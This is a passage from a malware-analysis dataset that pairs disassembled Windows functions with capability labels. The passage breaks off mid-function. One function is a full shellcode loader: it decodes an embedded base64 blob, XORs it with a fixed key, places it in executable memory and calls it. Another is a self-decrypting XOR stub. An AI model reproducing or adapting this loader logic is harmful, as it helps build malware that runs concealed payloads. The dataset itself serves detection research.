joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18006ec18
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180060638
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180060638
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18006ed68
cmp rax, 0xffffffffffffffff
je 0x18006ed68
xor edi, edi
test rbp, rbp
jle 0x18006ed13
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800617f4
mov rbx, rax
test rax, rax
jne 0x18006eca0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18006ed09
mov edx, 0x8000
mov ecx, r14d
call fcn.18006ea9c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180062dfc
cmp eax, 0xffffffff
je 0x18006ece9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18006ecb0
mov edx, r15d
mov ecx, r14d
call fcn.18006ea9c
jmp 0x18006ed09
cmp byte [rsi + 0x38], dil
je 0x18006ed00
cmp dword [rsi + 0x34], 5
jne 0x18006ed00
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18006ed09
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18006186c
jmp 0x18006ed7c
jns 0x18006ed7c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180060638
cmp rax, 0xffffffffffffffff
jne 0x18006ed34
cmp byte [rsi + 0x30], dil
je 0x18006ed7c
mov edi, dword [rsi + 0x2c]
jmp 0x18006ed7c
mov ecx, r14d
call fcn.18006b370
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18006ed7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18006ed7c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18006ed75
mov eax, dword [rsi + 0x2c]
jmp 0x18006ed7a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180060638
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140c1cca4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140c1ccae
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140c1ccd7
pop rbp
sub rbp, 0x33
sub rbp, 0xc1cca4
sub rsp, 0x20
jmp 0x140c1ccf6
mov rax, 0xc1cca4
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x5105dfc6
xor byte [rax], dl
inc rax
dec rcx
jne 0x140c1cd15
jmp 0x140c1cd2c
mov cs, word [rdi + 0x2f]
cli
mov dh, 0xc6
mov es, word [rdi + 7]
invalid
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000abf0]
mov rcx, qword [0x14000aba0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x14000ac00]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x14000ac10]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x14000abe0]
mov dword [0x14000e00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000acd0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000acb0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000ab30]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001b6f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x16f0
call fcn.140002910
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1690], ecx
mov qword [rbp + 0x1698], rdx
call sym.__main
mov dword [rbp + 0x166c], 0
lea rax, [rbp + 0x165c]
mov rdx, rax
lea rax, [0x14000a160]
mov rcx, rax
call sym.scanf
mov eax, dword [rbp + 0x165c]
cmp eax, 0x390
je 0x140001bd3
mov ecx, 1
call sym.exit
lea rax, [rbp + 0x1330]
lea rdx, str.1LRnNarrLcHTpUyWLnf_emPkEAmf3A8cI5DxbkdH7RQLCzAlfxkCFXX4oxlRzM5WgM8eCCJc5GInFScsYatVlZ1nZhhfyVSPQK7vHQL5se9yhNgFri4ZNG0cgLlvb3Tyua7a6p_cjq6HEf4XLNVIe7SthlL8MEC_0vNhthm9FDpUVzh7QrjD7ph9tM0uoZfOZBksCJ0El2PZ9Yfo_rBkKGldzSlLI7PUhwUsHDyP1eI7ZqzFi3wktSQj8DFHuB6IGtbuVDh7U2lw9aq9w6xnE6pXPhoEosi1UWcOgejKPvkpCdAPkOKyLLjaT5f1xe0_9Baq0v6MXje6axm09Wk7r32SJN34D1EW7EjpZmS5Qu_XerW0ncCQTH7xLlaNdwE2v0SY2KbmUGNgOz1yCshGGKEdV6jJNeFXN8SJjUejckyyJDDB46O38dNpI3KF3Ie35q8mZ1eMevF9oed0bLBdbBF3F4dG0gBFj9D5ZauOCd1NnomVxE6IHPX2KXfpnl7Ih0qmiGw9mQyaTYGyMuaBaU5PPnU8WXhex76ksGZLdr8pEYSwILQ7hznqdiyvuOckjQc1fCx8AEqp7EPuvUHuE1tJKAV9D3QVzZfzCcmgCBfDTscbe5QEvTDnrhGdCehPppSmiyLvrmrbRCRIgEnTQ35RoDncz4eXpZsKW5ZQW_pHS6PFCLMeoTwLXGmoRtaZl3ccUPgd0Zv0NOW7I5yYNnyirKROzgR8OnN_F7vIs_wkm54aPdwiyqV_3uadC_ZZFdT9zgwDSrKgyMAA
mov ecx, 0x63
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x1330]
mov r9d, 0x1388
mov r8, rdx
mov edx, 0x31d
mov rcx, rax
call sym.base64_decoder
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x60]
mov r9d, 8
lea r8, str.nsjalqp
mov rcx, rax
call sym.XOR
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1388
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1660], rax
mov rax, qword [rbp + 0x1660]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x1388
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x1660]
call rax
mov eax, 0
add rsp, 0x16f0
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001f64
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000e0a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000e0a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140001fb2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001faa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002099
inc ebx
add rax, 0x28
jmp 0x140001f8a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140001fd1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x14000e0a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140002033
mov rax, qword [0x14000e0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140002093
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002093
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002093
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x14000e0a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400024c0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000e100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000250c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140002506
test eax, eax
jne 0x140002506
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x1400024de
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400026e3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400026e3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400026e4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000271e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140002715
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002720
inc r8d
add rax, 0x28
jmp 0x1400026fc
xor eax, eax
ret

Function at 0x140002791
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14000aba0]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x1400027bd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140024980
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140024a4c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140024a4c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140024a65
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x140024a3c
cmp byte [rax], 0x5c
jne 0x140024a36
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140024a36
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140024a22
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140024a33
test r8b, 0x10
jne 0x140024a36
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140024a36
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140027fa0
test edi, edi
jne 0x1400249a0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.140025b30
int3

Function at 0x140028cf0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140028d24
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140028d10
ret
Function at 0x140033a00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140033a31
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x140033aab
mov rdi, r14
mov rcx, rbx
call fcn.140026530
test rax, rax
jle 0x140033a83
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400869a0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140033a9b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140033aa3
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140033a45
sub r14, rdi
jmp 0x140033b8f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140033ac2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140033ac4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140033af6
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400869a0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140033b8c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140033b31
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140033b6d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140095ee0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140033b8c
cmp rbp, rax
ja 0x140033b40
test rbp, rbp
je 0x140033b8c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140095ee0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140036e00
Capabilities:
Load windows common language runtime

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
cmp qword [0x1400edd40], 0
jne 0x140036ef0
xor ebx, ebx
lea r8, [rsp + 0x48]
lea rdx, [0x1400b7058]
mov qword [rsp + 0x48], rbx
lea rcx, [0x1400b7068]
call sub.mscoree.dll_CLRCreateInstance
lea rdi, [0x1400edd40]
test eax, eax
js 0x140036eb4
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
lea r8, [0x1400b7078]
lea rdx, str.v4.0.30319
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov ebx, eax
test eax, eax
js 0x140036ea5
mov rcx, qword [rsp + 0x40]
lea r8, [0x1400b7048]
mov r9, rdi
lea rdx, [0x1400b7038]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov ebx, eax
test eax, eax
js 0x140036e9a
mov rcx, qword [0x1400edd40]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
jns 0x140036ef0
cmp qword [0x1400edd40], 0
jne 0x140036ef0
lea r9, [0x1400b7048]
mov qword [rsp + 0x20], rdi
lea r8, [0x1400b7038]
xor edx, edx
lea rcx, str.v2.0.50727
call sub.mscoree.dll_CorBindToRuntime
test eax, eax
js 0x140036efd
mov rcx, qword [0x1400edd40]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov al, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
xor r9d, r9d
lea r8, [0x1400b7160]
lea rdx, [0x1400b7180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rbx, qword [rsp + 0x50]
xor al, al
add rsp, 0x30
pop rdi
ret
Function at 0x14003ba40
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbx, rcx
xor esi, esi
add rcx, 0x10
call fcn.1400524b0
mov ecx, dword [rbx + 0x318]
test al, al
je 0x14003bb84
cmp ecx, 1
je 0x14003bb6c
mov dword [rbx + 0x318], 1
xor edx, edx
mov rcx, rbx
call fcn.14003f180
mov rcx, rbx
call fcn.14003e990
lea rcx, [0x1400ed7f0]
call fcn.1400401b0
test al, al
je 0x14003bbe9
lea rcx, [rbx + 0x10]
call fcn.1400523b0
test al, al
je 0x14003bbe9
lea rcx, [rbx + 0x10]
call fcn.140052a90
lea rdi, [rbx + 0x608]
cmp byte [rdi + 8], sil
jne 0x14003bb53
cmp qword [rdi + 0x18], rsi
je 0x14003bb53
mov word [rdi + 8], 0x101
mov dword [rdi + 0x20], 0x32
lea ecx, [rsi + 8]
call fcn.14008465c
test rax, rax
je 0x14003baf4
mov qword [rax], rdi
jmp 0x14003baf7
mov rax, rsi
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140037b30]
xor edx, edx
xor ecx, ecx
call fcn.140096e00
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14003bbfc
cmp dword [rsp + 0x38], 0
je 0x14003bbf1
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.140083858
test eax, eax
jne 0x14003bbf1
mov dl, 1
mov rcx, rbx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp fcn.14003f180
lea rcx, [rbx + 0x10]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
jmp fcn.140002730
test ecx, ecx
je 0x14003bbd9
cmp ecx, 1
jne 0x14003bb96
lea rcx, [rbx + 0x10]
call fcn.140002730
mov dword [rbx + 0x318], esi
mov rcx, rbx
call fcn.14003e990
mov byte [rbx + 0x610], sil
mov edi, 0x1388
cmp byte [rbx + 0x611], sil
je 0x14003bbd9
nop dword [rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
sub edi, 0x32
js 0x14003bbd9
cmp byte [rbx + 0x611], sil
jne 0x14003bbc0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
xor ecx, ecx
call fcn.1400974b4
nop
mov ecx, 1
call fcn.140082c34
nop
mov dword [rsp + 0x38], esi
mov ecx, 6
call fcn.140082c34
int3
Function at 0x14003e990
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rdi, [0x1400eddd0]
mov qword [rsp + 0x48], rdi
mov rcx, rdi
call fcn.140082adc
test eax, eax
jne 0x14003ea21
cmp dword [0x1400ede1c], 0x7fffffff
je 0x14003ea0c
lea edx, [rax + 2]
mov rcx, rbx
call fcn.1400472d0
mov eax, dword [rbx + 0xc0]
mov dword [rsp + 0x50], eax
xor eax, eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
lea r8d, [rax + 4]
lea rdx, [rsp + 0x50]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
jmp fcn.140082ae4
mov dword [0x1400ede1c], 0x7ffffffe
mov ecx, 6
call fcn.140082c34
int3
mov ecx, 5
call fcn.140082c34
int3
Function at 0x14003ee80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
movzx edi, dl
mov rbx, rcx
lea rsi, [0x1400eddd0]
mov qword [rsp + 0x50], rsi
mov rcx, rsi
call fcn.140082adc
test eax, eax
jne 0x14003ef18
cmp dword [0x1400ede1c], 0x7fffffff
je 0x14003ef03
lea edx, [rax + 7]
mov rcx, rbx
call fcn.1400472d0
mov dword [rsp + 0x58], edi
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8d, [rax + 4]
lea rdx, [rsp + 0x58]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp fcn.140082ae4
mov dword [0x1400ede1c], 0x7ffffffe
mov ecx, 6
call fcn.140082c34
int3
mov ecx, 5
call fcn.140082c34
int3

Function at 0x14003f040
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rdx
xor ebp, ebp
mov dword [rsp + 0x3c], ebp
lea r14, [0x1400eddd0]
mov qword [rsp + 0x50], r14
mov rcx, r14
call fcn.140082adc
test eax, eax
jne 0x14003f16a
cmp dword [0x1400ede1c], 0x7fffffff
je 0x14003f155
lea edx, [rbp + 8]
mov rcx, rdi
call fcn.1400472d0
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.140006fe0
mov rdx, rax
mov rcx, rdi
call fcn.140042980
nop
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x34], ebp
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x38]
lea r8d, [rbp + 4]
lea rdx, [rsp + 0x34]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rsi, dword [rsp + 0x34]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rbx], bpl
mov dword [rsp + 0x3c], 2
mov rdx, rsi
cmp esi, 0xf
jbe 0x14003f117
movzx r8d, byte [rsp + 0x30]
mov rcx, rbx
call fcn.140038530
mov qword [rbx + 0x10], rbp
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14003f124
mov rdx, qword [rbx]
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x40]
mov r8d, esi
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
mov rcx, r14
call fcn.140082ae4
mov rax, rbx
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov dword [0x1400ede1c], 0x7ffffffe
mov ecx, 6
call fcn.140082c34
int3
mov ecx, 5
call fcn.140082c34
int3
Function at 0x14003f180
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
movzx edi, dl
mov rbx, rcx
lea rsi, [0x1400eddd0]
mov qword [rsp + 0x80], rsi
mov rcx, rsi
call fcn.140082adc
test eax, eax
jne 0x14003f2c4
cmp dword [0x1400ede1c], 0x7fffffff
je 0x14003f2af
lea edx, [rax + 0xa]
mov rcx, rbx
call fcn.1400472d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor ebp, ebp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], reloc.OLEAUT32.dll_SafeArrayDestroy
lea edx, [rbp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140028400
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], SafeArrayUnaccessData
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str.TRAINER_INITIALIZE]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b7e38]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], bpl
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140042980
mov dword [rsp + 0x80], ebp
mov dword [rsp + 0x88], ebp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x88]
lea r8d, [rbp + 4]
lea rdx, [rsp + 0x80]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rsp + 0x80], 1
jne 0x14003f29b
mov dword [rsp + 0x88], edi
mov dword [rsp + 0x80], ebp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x80]
lea r8d, [rbp + 4]
lea rdx, [rsp + 0x88]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, rsi
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
jmp fcn.140082ae4
mov dword [0x1400ede1c], 0x7ffffffe
mov ecx, 6
call fcn.140082c34
int3
mov ecx, 5
call fcn.140082c34
int3
Function at 0x140042980
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov qword [rsp + 0x38], rdx
lea r9, [rsp + 0x30]
mov eax, dword [rdx + 0x10]
xor esi, esi
mov rbx, rdx
mov dword [rsp + 0x30], esi
mov rdi, rcx
mov dword [rsp + 0x38], eax
mov rcx, qword [rcx + 8]
lea rdx, [rsp + 0x38]
lea r8d, [rsi + 4]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x1400429d1
mov rdx, qword [rbx]
mov r8d, dword [rbx + 0x10]
lea r9, [rsp + 0x30]
mov rcx, qword [rdi + 8]
